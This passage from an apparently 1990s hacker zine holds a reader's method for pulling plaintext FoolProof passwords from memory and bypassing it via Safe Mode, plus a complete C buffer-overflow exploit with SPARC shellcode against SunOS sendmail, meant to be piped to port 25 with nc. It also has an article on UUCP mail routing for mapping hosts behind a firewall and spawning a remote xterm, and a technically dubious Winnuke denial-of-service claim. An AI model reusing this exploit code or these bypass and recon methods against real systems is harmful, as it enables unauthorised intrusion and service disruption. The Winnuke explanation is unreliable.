  756. for all early versions if they exist.
  757.  
  758.     I have spent some time playing with it.  It is capable of
  759. modifying the boot sequence on win3.x machines to block the use of hot
  760. keys and prevent users from breaking out of autoexec.  It also modifies
  761. the behavior of command.com so that commands can be verified by a
  762. database and anything deemed unnecessary or potentially malicious can be
  763. blocked (fdisk, format, dosshell?, dir, erase, del. defrag, chkdsk,
  764. defrag, undelete, debug, etc.).  Its windows clients provide for a way to
  765. log into/out of FoolProof for privileged access by using a password or
  766. hot key assignment.  The newer installation of 95 machines have a
  767. centralized configuration database that lives on our NetWare server.
  768.  
  769.     My first success with breaking FoolProof passwords came by using
  770. a hex editor to scan the windows swap file for anything that might be of
  771. interested.  In the swap file I found the password in plain text.  I was
  772. surprised but thought that it was something that would be simply
  773. unavoidable and unpredictable.  Later though I used a memory editor on
  774. the machine (95 loves it when I do that) and found that FoolProof stores
  775. a copy of the user password IN PLAIN TEXT inside its TSR's memory space.
  776.  
  777.     To find a FoolProof password, simply search through conventional
  778. memory for the string "FOOLPROO" (I don't know what they did with that
  779. last "F") and the next 128 bytes or so should contain two plaintext
  780. passwords followed by the hot-key assignment.  For some reason FoolProof
  781. keeps two passwords on the machine, the present one and a 'legacy'
  782. password (the one you used before you _thought_ it was changed).  There
  783. exist a few memory viewers/editors but it isn't much effort to write
  784. something.
  785.  
  786.     Getting to a point where you can execute something can be
  787. difficult but isn't impossible.  I found that it is more difficult to do
  788. this on the win3.x machines because FoolProof isn't compromised by the
  789. operating system it sits on top of; basically getting a dos prompt is up
  790. to you (try file manager if you can).  95 is easier because it is very
  791. simple to convince 95 that it should start up into Safe-Mode and then
  792. creating a shortcut in the StartUp group to your editor and then
  793. rebooting the machine (FoolProof doesn't get a chance to load in safe
  794. mode).
  795.  
  796.     I tried to talk to someone at SmartStuff but they don't seem to
  797. care what trouble their simple minded users might get into.  They told me
  798. I must be wrong because they use 128 bit encryption on the disk. 
  799. Apparently they don't even know how their own software works because the
  800. utility they provide to recover lost passwords requires some 32+
  801. character master password that is hardwired into each installation.
  802.  
  803. JohnWayne <john__wayne@juno.com>
  804.  
  805. 0x6>-------------------------------------------------------------------------
  806.     [ old skool dept. ]
  807.  
  808. <++> EX/smrex.c
  809. /*
  810.  *  Overflow for Sunos 4.1 sendmail - execs /usr/etc/rpc.rexd.
  811.  *  If you don't know what to do from there, kill yourself.
  812.  *  Remote stack pointer is guessed, the offset from it to the code is 188.
  813.  *
  814.  *  Use:    smrex buffersize padding |nc hostname 25
  815.  *
  816.  *  where `padding` is a small integer, 1 works on my sparc 1+
  817.  *
  818.  *  I use smrex 84 1, play with the numbers and see what happens.  The core
  819.  *  gets dumped in /var/spool/mqueue if you fuck up, fire up adb, hit $r and
  820.  *  see where your offsets went wrong :)
  821.  *
  822.  *  I don't *think* this is the 8lgm syslog() overflow - see how many versions
  823.  *  of sendmail this has carried over into and let me know.  Or don't, I
  824.  *  wouldn't :)
  825.  *
  826.  *  P.S. I'm *sure* there are cleverer ways of doing this overflow.  So sue
  827.  *  me, I'm new to this overflow business..in my day everyone ran YPSERV and
  828.  *  things were far simpler... :)
  829.  *
  830.  *  The Army of the Twelve Monkeys in '98 - still free, still kicking arse.
  831.  */
  832.  
  833. #include <stdio.h>
  834.  
  835. int main(int argc, char **argv)
  836. {
  837.     long unsigned int large_string[10000];
  838.     int i, prelude;
  839.     unsigned long offset;
  840.     char padding[50];
  841.  
  842.     offset  = 188;                          /* Magic numbers */
  843.     prelude = atoi(argv[1]);
  844.  
  845.     if (argc < 2)
  846.     {
  847.         printf("Usage: %s  bufsize <alignment offset> | nc target 25\n",
  848.             argv[0]);
  849.         exit(1);
  850.     }
  851.  
  852.     for (i = 6; i < (6 + atoi(argv[2])); i++)
  853.     {
  854.         strcat(padding, "A");
  855.     }
  856.     for(i = 0; i < prelude; i++)
  857.     {
  858.         large_string[i] = 0xfffffff0;       /* Illegal instruction */
  859.     }
  860.  
  861.     large_string[prelude] = 0xf7ffef50;     /* Arbitrary overwrite of %fp */
  862.  
  863.     large_string[prelude + 1] = 0xf7fff00c; /* Works for me; address of code */
  864.  
  865.     for( i = (prelude + 2); i < (prelude + 64); i++)
  866.     {
  867.         large_string[i] = 0xa61cc013;       /* Lots of sparc NOP's */
  868.     }
  869.  
  870.                         /* Now the sparc execve /usr/etc/rpc.rexd code.. */
  871.  
  872.         large_string[prelude + 64] = 0x250bcbc8;
  873.         large_string[prelude + 65] = 0xa414af75;
  874.         large_string[prelude + 66] = 0x271cdc88;
  875.         large_string[prelude + 67] = 0xa614ef65;
  876.         large_string[prelude + 68] = 0x291d18c8;
  877.         large_string[prelude + 69] = 0xa8152f72;
  878.         large_string[prelude + 70] = 0x2b1c18c8;
  879.         large_string[prelude + 71] = 0xaa156e72;
  880.         large_string[prelude + 72] = 0x2d195e19;
  881.         large_string[prelude + 73] = 0x900b800e;
  882.         large_string[prelude + 74] = 0x9203a014;
  883.         large_string[prelude + 75] = 0x941ac00b;
  884.         large_string[prelude + 76] = 0x9c03a104;
  885.         large_string[prelude + 77] = 0xe43bbefc;
  886.         large_string[prelude + 78] = 0xe83bbf04;
  887.         large_string[prelude + 79] = 0xec23bf0c;
  888.         large_string[prelude + 80] = 0xdc23bf10;
  889.         large_string[prelude + 81] = 0xc023bf14;
  890.         large_string[prelude + 82] = 0x8210203b;
  891.         large_string[prelude + 83] = 0xaa103fff;
  892.         large_string[prelude + 84] = 0x91d56001;
  893.         large_string[prelude + 85] = 0xa61cc013;
  894.         large_string[prelude + 86] = 0xa61cc013;
  895.         large_string[prelude + 87] = 0xa61cc013;
  896.         large_string[prelude + 88] = 0;
  897.  
  898.                         /* And finally, the overflow..simple, huh? :) */
  899.     printf("helo\n");
  900.     printf("mail from: %s%s\n", padding, large_string);
  901. }
  902. <-->
  903.  
  904. 0x7>-------------------------------------------------------------------------
  905. Practical Sendmail Routing
  906.  
  907. Intro:
  908.  
  909. This article will be short and sweet as the concept and methodology are quite
  910. simple.
  911.  
  912. UUCP Style routing has been around longer than most newbie hackers, yet it is
  913. a foreign concept to them.  In past years, Phrack has seen at least one
  914. article on using this method to route a piece of mail around the world and
  915. back to the base host.  That article in Phrack 41 (Network Miscellany) by the
  916. Racketeer gave us a good outline as how to implement routed mail.  I will
  917. recap that method and show a practical use for it.  If you have any questions
  918. on the method for building the mail headers, read a book on UUCP or something.
  919.  
  920.  
  921. How to:
  922.  
  923. In short, you want to create a custom route for a piece of email to follow.
  924. This single piece of mail will follow your desired path and go through
  925. machines of your choice.  Even with mail relaying turned off, MTAs will still
  926. past this mail as it looks at the mail and delivers only one hope at a time.
  927. The customized headers basically tell sendmail that it should only be
  928. concerned about the next target in the path, and to deliver.  In our example
  929. below, we will have nine systems to be concerned about.  Your base host, seven
  930. systems to bounce through, and the user on the final destination machine.
  931.  
  932.      host1 = origin of mail. base host to send from.
  933.      host2 = second...
  934.      host3 = third... (etc)
  935.      host4
  936.      host5
  937.      host6
  938.      host7
  939.      host8 = final hop in our chain (i.e.: second to last)
  940.      user @ dest = final resting place for mail
  941.  
  942. Most people will wonder "why route mail, sendmail will deliver directly".
  943. Consider the first step in doing a penetration of a foreign network: Recon. A
  944. would-be attacker needs as much information about a remote host as possible.
  945. Have you ever sent mail to a remote system with the intention of bouncing it?
  946. If not, try it.  You will find it a quick and easy way of finding out what
  947. version of what MTA the host is running.
  948.  
  949. Knowing that the message will bounce with that information, think larger.  Send
  950. mail to multiple hosts on a subnet and it will return the version information
  951. for each machine it bounces through.  Think larger.  Firewalls are often set
  952. up to allow mail to go in and out without a problem.  So route your mail past
  953. the firewall, bounce it among several internal systems, then route the mail
  954. right back out the front door.  You are left with a single piece of mail
  955. containing information on each system it bounced through.  Right off, you can
  956. start to assess if the machines are running Unix or not among other things.
  957.  
  958. So, with the example above, your mail 'to' will look like this:
  959.  
  960.         host3!host4!host5!host6!host7!host8!dest!user@host2
  961.  
  962. I know.  Very weird as far as the order and placement of each.  If you don't
  963. think it looks right, go reference it.
  964.  
  965. Goal:
  966.  
  967. The desired outcome of this mail is to return with as much information about
  968. the remote network as possible.  There are a few things to be wary of however.
  969. If the mail hits a system that doesn't know how to handle it, you may never
  970. see it again.  Routing the mail through a hundred hosts behind a firewall is
  971. risky in that it may take a while to go through, and if it encounters problems
  972. you may not get word back to know where it messed up.  What I recommend is
  973. sending one piece of mail per host on the subnet.  This can be scripted out
  974. fairly easy, so let this be a lesson in scripting as well.
  975.  
  976. Theoretical Route 1:
  977.  
  978.         you --.
  979.                firewall --.
  980.                            internal host1 --.
  981.                                             |
  982.                            internal host2 --'
  983.                firewall --'                     
  984.         you --'                                            
  985.  
  986.  
  987. Theoretical Route 2:
  988.  
  989. If the internal network is on a different IP scheme than the external machines,
  990. (ie: address translation) then your mail will fail at the first hop by the
  991. above means.  So, we can try an alternative of passing mail to both sides of
  992. the firewall in order.  Of course, this would rely on knowledge of internal
  993. network numbering.  If you are wondering how to get this, two ways come to
  994. mind.  If you are one of those wacky 'white hat' ethical hackers, this
  995. information is often given during a controlled penetration.  If you are a
  996. malicious 'black hat' evil hacker, then trashing or Social Engineering might
  997. be an option. 
  998.  
  999.  
  1000.    you --.
  1001.           firewall (external interface) --.
  1002.                                            firewall (internal interface) --.
  1003.                                                                            |
  1004.                                                       .-- internal host1 --'
  1005.                                                       |
  1006.                                                       `-- internal host2 --.
  1007.                                                                            |
  1008.                                            firewall (internal interface) --'
  1009.           firewall (external interface) --'
  1010.    you --'
  1011.  
  1012.  
  1013. Taking it to the next level:
  1014.  
  1015. So if you find this works, what else can you do?  Have a remote sendmail attack
  1016. lying around?  Can you run a command on a remote machine?  Know what an xterm
  1017. is?  Firewalls often allow a wide variety of traffic to go outbound.  So route
  1018. a remote sendmail based attack to the internal host of your choice, spawn an
  1019. xterm to your terminal and voila.  You just bypassed a firewall!
  1020.  
  1021.  
  1022. Conclusion:
  1023.  
  1024. Yup.  That is it.  Short and sweet.  No need to put excess words in this
  1025. article as you are probably late on your hourly check of rootshell.com looking
  1026. for the latest scripts.  Expand your minds.
  1027.  
  1028. Hi:
  1029.  
  1030. mea_culpa   mea_culpa@sekurity.org
  1031.  
  1032. * "taking it to the next level" is a bastardized trademark of MC.
  1033. * 'wacky white hat ethical hacker' is probably a trademark of IBM.
  1034. * 'malicious black hat evil hacker' is a trademark of the ICSA.
  1035.  
  1036. 0x8>-------------------------------------------------------------------------
  1037.  
  1038.                         Resource Hacking and Windows NT/95
  1039.  
  1040.                                 by Lord Byron
  1041.  
  1042.     With the release of Windows NT service pack 3 the infamous Winnuke denial
  1043. of service attacks are rendered useless.  At least that is what they lead you
  1044. to believe.  This is not the case.  To understand why we need to delve into a
  1045. little background on the internals of Windows; more specifcally, the way that
  1046. Windows allocates memory.  This is the undying problem.  To better understand
  1047. the problems with Windows memory allocation you have to go very deep within the
  1048. operating system, to what is commonly called the "thunking layer".  This layer
  1049. is what allows Windows to call both 16 and 32-bit functions on the same
  1050. function stack.  If you make a TCP/IP-type function call or (if you are a
  1051. database person) an ODBC function call you are calling a pseudo 32-bit
  1052. function.  Yes, both of these direct drivers are 32-bit drivers but they rely
  1053. upon 16-bit code to finish their process.  Once you enter one of these drivers
  1054. all the data is passed into that driver.  Windows also requires all drivers to
  1055. run at the level 0 level within the Windows kernel.  These drivers then pass
  1056. off the data to different 16-bit functions.  The difficulty with passing off
  1057. 32-bit data to a 16-bit function is where the thunking layer comes into the
  1058. picture.  The thunking layer is a wrapper around all 16-bit functions in
  1059. Windows that can be called by a 32-bit function.  It thunks the data calls
  1060. down to 16-bit by converting them into multiple data elements normally done by
  1061. a structure or by passing the actual memory dump of the variable and passing
  1062. the data dump into the function.  Then the function does its processing to the
  1063. data within the data-gram and passes it back out of the function.  At this
  1064. point it goes back through the thunking layer and reconverts the data back to
  1065. a 32-bit variable and then the 32-bit driver keeps on with its processing.
  1066. This processing of the thunking layer is not an unheard of scheme nor has it
  1067. not been used before but with the way that we all know that Microsoft codes it
  1068. was done in a hurry, not properly implemented, and never tested till
  1069. production.  Do to the aforementioned reasons it should not surprise to anyone
  1070. that the code has severe memory leaks.  This is why if you, for example, make
  1071. an ODBC call to an Oracle database long enough that eventually your Windows
  1072. box becomes slower until an eventual crash "Blue Screen of Death" or just
  1073. becomes unbearable to work with.  As Microsoft tries to patch these bugs in
  1074. the device drivers it releases service packs such as SP3.  The way that
  1075. Microsoft has developed and implements the device driver process is on a
  1076. modular code basis.  So when a patch is implemented it actually calls the
  1077. modulated code to handle the exact situation for that exploit.
  1078.  
  1079.     Now that you know some of the basic internals as to how Windows makes its
  1080. calls it is time to understand resource hacking and the reason Win-nuke still
  1081. works.  If you ping a Windows box it allocates a certain amount of ram and
  1082. runs code within the driver that returns the ICMP packet.  Well if you ping a
  1083. windows box 20,000 or 30,000 times it has to allocate 20 or 30 thousand
  1084. chunks of memory to run the device driver to return the ICMP packet.  Once 20
  1085. or 30 thousand little chunks of memory out there you do not have enough memory
  1086. to run allow the TCP/IP driver to spawn the code to handle normal function
  1087. within the Windows box.  At this point if you were to run Win-nuke to send the
  1088. OOB packet to port 139 on a Windows box in would crash the box.  The OOB code
  1089. that was used to patch Win-nuke in SP3 could not be spawned due to the lack of
  1090. memory available and thus uses the original code for the TCP/IP.sys so it gets
  1091. processed by the standard TCP/IP driver that was original shipped with Windows
  1092. without the fix.  The only way for Microsoft to actually fix this problem
  1093. would be to rewrite the TCP/IP driver with the correct code within it as the
  1094. core driver (instead of writing patches to be spawned when the exception
  1095. occurs).  In doing this though would require Microsoft a significant amount of
  1096. coding skill and talent which we know that no self respecting coder would ever
  1097. work for the big evil.
  1098.  
  1099. 0x9>-------------------------------------------------------------------------
  1100.  
  1101. ----[  PDM
  1102.  
  1103. Phrack Doughnut Movie (PDM) last issue was `Grosse Point Blank`.
  1104.  
  1105. PDM52 recipients:
  1106.  
  1107.     Jim Broome
  1108.     Jonathan Ham
  1109.     Jon "Boyracer" George
  1110.     James Hanson
  1111.     Jesse Paulsen
  1112.     jcoest
  1113.  
  1114. All the recipients have J* first names.  Eerie.  And what is actually involved
  1115. in `boyracing`?  Do they put little saddles on them?
  1116.  
  1117. PDM53 Challenge:
  1118.  
  1119.     "...Remember, ya always gotta put one in the brain.  The first one puts him
  1120.     down, the second one finishes him off.  Then he's dead.  Then we go home."
  1121.  
  1122.  
  1123. ----[  EOF
  1124.